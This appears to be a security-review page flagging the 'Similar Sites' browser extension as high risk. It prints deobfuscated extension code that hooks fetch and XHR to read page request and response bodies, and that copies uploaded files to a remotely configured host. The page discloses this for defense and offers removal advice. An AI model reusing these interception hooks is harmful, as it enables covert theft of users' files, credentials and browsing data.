Is Similar Sites - Discover Related Websites safe?
Similar Sites is high risk. Code analysis shows uploaded files can be copied to a host named in remote configuration. This is gated by a vendor config rule; no copy was observed in testing.…
Who publishes itSimilarWeb - no other listings under this identity, 3 shared hostnames
SimilarWeb - no other listings under this identity, 3 shared hostnames
Shared hosts - 3 hostnames
Hostnames hardcoded in this extension that few other listings call. That can mean one operator behind both, and it can equally mean a small shared vendor, so it is context rather than a conclusion. Hosts that many listings call are left out: they are services, not connections.
Similar Sites findings
Uploaded files can be copied to a host named in the extension remote config
Code analysis shows uploaded files can be copied to a host named in remote configuration.
This is gated by a vendor config rule; no copy was observed in testing.
What actually happens
A page uploads a File through fetch or XHR to a URL matching a config rule.
A copy of the file is uploaded to the same path on the host named in fork_to_host.
The code that does this
Page-side hook that dispatches the file reference
Background handler for the fork request
background/background.jsconst t = e.msg.url, a = e.msg.fth, n = e.msg.c;const i = new URL(t);if (a) i.host = a;else { if (!n) return; i.host = n.fork_to_host }if (i.host !== h) return;await j.linkfn(e.msg[w], e.msg[l], e.msg[m], i.href, f, s, o[c]);Fields carried in the fork event
- abblob:https://example.com/3f2a9c1e-7d54-4b0a-9e11-5c2d8a6b7f10
Blob URL pointing at the uploaded file contents.
- name / typeinvoice.pdf / application/pdf
File name and MIME type of the upload.
- urlhttps://example.com/api/upload
Original upload URL whose host is replaced.
- fthfork_to_host value from config
Target host taken from the remote config rule.
What was not observed
Dynamic testing did not match any config rule on visited pages, and a planted test upload produced no duplicate request. The behavior is shown by code only.
Observation
Static analysis finding. This behaviour was identified by reading the shipped extension code and has not yet been reproduced in a live run. The trigger conditions and the exact data sent are read from the code, not from an observed capture.
Extension reads video ad (VAST) and Prebid auction data from pages
Code analysis shows the extension parses video ad XML and reads Prebid auction events on pages with ads, for the vendor.
It runs only when remote config enables it; no such traffic was observed.
What actually happens
You open a page that serves a VAST video ad or runs a Prebid.js auction.
The extension extracts ad creative fields and auction events from the page.
The code that does this
Prebid event collection and VAST parsing
VAST parser
frame/frame.jsconst r = (new DOMParser).parseFromString(t, c), i = new E;i.createXMLFragment(e.find);let n = await i.kebabToCamel(r);if (n) { n instanceof Array || (n = [n]), i.createXMLFragment(e.analyse); /* ... */ t.length && this.Deopt({ ... }) }Ad data the code can read
- Bid CPM and bidderappnexus, cpm 1.42
Prices and bidder names from Prebid auction events.
- Referrerhttps://www.example.com/news
Page referrer attached to each batch of auction events.
- MediaFile URLhttps://cdn.example.com/ad/creative.mp4
Video creative URL from the VAST response.
Destination named in the claim
- data-api.similarsites.com
Endpoint named for collected data; no traffic to it was captured.
Observation
Static analysis finding. This behaviour was identified by reading the shipped extension code and has not yet been reproduced in a live run. The trigger conditions and the exact data sent are read from the code, not from an observed capture.
Fetch and XHR hooks can read page traffic bodies
When a matching remote rule sets the page gate, the extension hooks fetch and XHR to read response bodies and raise page events.
Dynamic analysis saw the config POST and hook code, not bodies reaching the endpoint.
What actually happens
You use a website while the extension has a matching remote rule for that page.
The rule must set the page-side sitessimilarityhash gate before the injected hook code runs.
The extension can replace fetch and XHR behavior and read request or response data from that page.
The hook dispatches CustomEvent messages named sitestatusplus for later processing by the content script.
Fields the hook code makes available
- Request URLhttps://example.com/account/settings
This shows which site or web API your browser contacted.
- Request options{"method":"POST","credentials":"include"}
This can include the method, headers, credentials mode, cache settings, and other request details.
- Uploaded bodyemail=user@example.com&remember=true
If a matching rule asks for request data, submitted content can include values you typed into the page.
- Response text{"accountStatus":"active","plan":"team"}
The hook reads text or JSON returned by the site, which can reveal account or page content shown after the request.
Captured request
200 response observed for the configuration request; no /numberOfSimilarSites request containing intercepted page data was captured.
{ "sid": "a2dbadf9f"}The code that does this
Fetch, XHR, relay, and reporting paths
Readable fetch replacement
frame_ant/frame_ant.jswindow.fetch = function(e, s) { function r() { const n = t.apply(this, [e, s]); return a([e, s], n), n } if (!n.length) return r(); if (!n.find((t => new RegExp(t.page_url_match).test(location.href)))) return r(); const i = function(t) { return "string" == typeof t ? t : t instanceof Request ? t.url : "" }(e); if (!n.find((t => new RegExp(t.request_url_match).test(i)))) return r(); let o, c = s || {}, l = null; const f = e instanceof Request; if (f && e.body instanceof ReadableStream) { const t = { method: (u = e).method, headers: u.headers, referrer: u.referrer, referrerPolicy: u.referrerPolicy, mode: u.mode, credentials: u.credentials, cache: u.cache, redirect: u.redirect, integrity: u.integrity, keepalive: u.keepalive, signal: u.signal }, n = Object.assign({}, t, s), a = e.body.tee(), r = a[0], i = a[1]; o = [new Request(e.url, Object.assign({}, n, { body: r, duplex: "half" }))], l = { hasForkStream: !0, forkStream: i, originalContentType: e.headers.get("content-type") } } else if (f) o = s ? [e, s] : [e]; else if (s && s.body instanceof ReadableStream) { const t = s.body.tee(), n = t[0], a = t[1]; c = Object.assign({}, s, { body: n, duplex: "half" }); let r = "application/octet-stream"; s.headers && ("function" == typeof s.headers.get || s.headers instanceof Headers ? r = s.headers.get("content-type") || r : s.headers["content-type"] ? r = s.headers["content-type"] : s.headers["Content-Type"] && (r = s.headers["Content-Type"])), l = { hasForkStream: !0, forkStream: a, originalContentType: r }, o = [e, c] } else o = s ? [e, s] : [e]; var u; l && (o._metadata = l); const p = t.apply(this, o); if (a(o, p), n.length) try { const t = "string" == typeof e ? e : e.url || e; for (let a of n) if (!a.requires_resp && new RegExp(a.request_url_match).test(t) && s && s.body instanceof File) { const n = s.body.name, r = s.body.type, i = URL.createObjectURL(s.body); self.dispatchEvent(new CustomEvent("sitestatusplus-fk", { detail: { way: "fetch", ab: i, url: t, args: [e, s], name: n, type: r, fth: a.fork_to_host } })) } } catch (t) {} return p}Readable XHR replacement
frame_ant/frame_ant.jst.open = function(t, e) { try { for (var a of n) new RegExp(a.request_url_match).test(e) && (this["sitestatusplus+"] = !0, this.fth = a.fork_to_host, this.c = a) } catch (e) {} return this.url = e, s.apply(this, arguments)}, t.send = function() { return this.addEventListener("load", (function() { var t = null; try { t = this.responseText } catch (t) {} var e = new CustomEvent("sitestatusplus", { detail: { way: "xhr", event: t, url: this.url } }); self.dispatchEvent(e) })), e.apply(this, arguments), setTimeout((() => { if (this["sitestatusplus+"] && arguments[0] instanceof File) { var t = arguments[0].name, e = arguments[0].type, s = URL.createObjectURL(arguments[0]); self.dispatchEvent(new CustomEvent("sitestatusplus-fk", { detail: { way: "xhr", ab: s, url: this.url, name: t, type: e, fth: this.fth, c: this.c } })) } }), 1e3)}Readable content-script relay
content/content.jsasync drainFunc(e, t) { const n = K.initSourceMapSupport(h, T), r = K.initSourceMapSupport(h, i), a = K.initSourceMapSupport(h, y), o = K.initSourceMapSupport(h, k), s = K.initSourceMapSupport(h, l), c = K.initSourceMapSupport(h, f), u = t.url, p = t.detail || t; for (let t = 0; t < e.length; t++) { const i = e[t]; try { if (i[n]) { const e = new RegExp(i[n]); if (!e.exec(u)) continue } const e = i[r]; if (e) { const t = new b; if (t.createXMLFragment(e), !await t.kebabToCamel(p)) continue } const t = i[a], l = new b; l.createXMLFragment(t); const S = await l.kebabToCamel(p); if (!S) continue; if (i[o]) { const e = new b; if (e.createXMLFragment(i[o]), !await e.kebabToCamel(S)) continue } this.binarySearch({ [s]: i[s], [c]: S }) } catch (e) {} }}binarySearch(e) { const t = K.initSourceMapSupport(h, p), n = K.initSourceMapSupport(h, a), i = K.initSourceMapSupport(h, d); chrome.runtime.sendMessage({ [t]: n, [i]: e })}async XMLHttpRequest(e) { try { await this.drainFunc(this.circular2, e.detail || e) } catch (e) {}}Readable SimilarSites POST path
background/background.jstestReallyEqual(e) { return new Promise(((t, a) => { this.streamFilter(e, t, a) }))}streamFilter(e, t, n) { try { const n = this.hierarchy(e); let i = [a.startMetrics, encodeURIComponent(e.data)].join(a.TakeLastOperator) + a.lineBreaks; fetch(this._DeviceHubSharp, { method: a.kInit, headers: n, body: i }).then((n => { const i = n.headers.get(a.to_node); if (i) try { const e = JSON.parse(atob(i)); r.setSettings(e) } catch (e) {} switch (n.status) { case 200: case 202: case 204: n.text().then((n => { "function" == typeof t && t(n); const r = a.newLastPage, i = { rsp: n }; i[r] = e, self.dispatchEvent(new CustomEvent(r, { detail: i })) })) } })).catch((e => {})) } catch (e) {}}get _DeviceHubSharp() { return r.MainLocator() + a.vendors}External host tied to configuration and reporting
- data-api.similarsites.com
Hosts the observed configuration endpoint and the code-defined /numberOfSimilarSites reporting path.
+5 more findings not shown
If you have Similar Sites installed
- Open
chrome://extensionsand turn on Developer mode to show IDs. Find the one with IDnecpbmbhhdiplmfhmjicabdeighkndknand choose Remove. - Block the servers only it was seen contacting:
sourcepoint.theguardian.com,global.ketchcdn.com,resources.digital-cloud.medallia.com,cdn.jwplayer.com. - Scan your browser to check the rest of your extensions.
What Similar Sites can do
Permissions this extension asks for, as declared in version 7.3.19. Asking for a permission is not a finding on its own - it is what the extension can do if it chooses to. The current listed version is 7.5.0, which we have not unpacked yet.
Read and change your data on every site you visit
*://*/*
See the address and title of every tab you have open
tabs
Watch every request your browser makes
webRequest
See every page you navigate to, as you navigate to it
webNavigation
Store data in your browser
storage
Run its own code inside the pages you visit
scripting
Add items to the right-click menu
contextMenus
Similar Sites version history
7.3.17
Mar 4, 2026
7.3.19
Jul 28, 2026
7.4.0
Oct 30, 2026
7.5.0
Nov 18, 2026
Where Similar Sites sends data
- cpt-static.gannettdigital.com/universal-web-client/master/…45 calls
From a script it injects into websites · 1 other extension
- www.amazon.com/cart/add-to-cart/…7 calls
From a script it injects into websites · 55 other extensions
- m.media-amazon.com/images/S/…6 calls
From a script it injects into websites · 33 other extensions
- sourcepoint.theguardian.com/wrapper/v2/…6 calls
From a script it injects into websites · only this extension
- data-api.similarsites.com/content/config4 calls
From its background script · 2 other extensions
- www.amazon.com/gp/product/…4 calls
From a script it injects into websites · 55 other extensions
- www.amazon.com/portal-migration/hz/…3 calls
From a script it injects into websites · 55 other extensions
- accounts.google.com/gsi/status2 calls
From a script it injects into websites · 36 other extensions
- api-js.datadome.co/js2 calls
From a script it injects into websites · 1 other extension
- buy.tinypass.com/api/v3/…2 calls
From a script it injects into websites · 2 other extensions
- c2.piano.io/xbuilder/experience/…2 calls
From a script it injects into websites · 2 other extensions
- cdn-media.brightline.tv/config/v3/…2 calls
From a script it injects into websites · 2 other extensions
- edition.cnn.com/wbdotp/consent/…2 calls
From a script it injects into websites · 5 other extensions
- events.brightline.tv/track2 calls
From a script it injects into websites · 1 other extension
- fave.api.cnn.io/v1/runtime-configs2 calls
From a script it injects into websites · 2 other extensions
- global.ketchcdn.com/gvl/eu/…2 calls
From a script it injects into websites · only this extension
- ift.px-cloud.net/ns2 calls
From a script it injects into websites · 4 other extensions
- resources.digital-cloud.medallia.com/wdcus/235967/…2 calls
From a script it injects into websites · only this extension
- www.amazon.com/acp/cr-media-carousel/…2 calls
From a script it injects into websites · 55 other extensions
- www.amazon.com/vap/ew/…2 calls
From a script it injects into websites · 55 other extensions
- www.amazon.com/…2 calls
From a script it injects into websites · 55 other extensions
- www.google-analytics.com/j/collect2 calls
From a script it injects into websites · 238 other extensions
- cdn.cookielaw.org/consent/…1 call
From a script it injects into websites · 12 other extensions
- cdn.jwplayer.com/manifests/fwfYTEBf.m3u81 call
From a script it injects into websites · only this extension
- client.px-cloud.net/PXu6b0qd2S/main.min.js1 call
From a script it injects into websites · 8 other extensions
Named inside its requests but not contacted (servers it tested or reported on): similarsites.com.
Chrome Web Store listing
- Versions
- 7.5.0 latest of 4 seen since March 4, 2026
- Store rating
- 3.9 from 397 ratings
- Last updated
- December 15, 2025
- Size
- 1.28 MiB
- Privacy policy
- www.similarsites.com
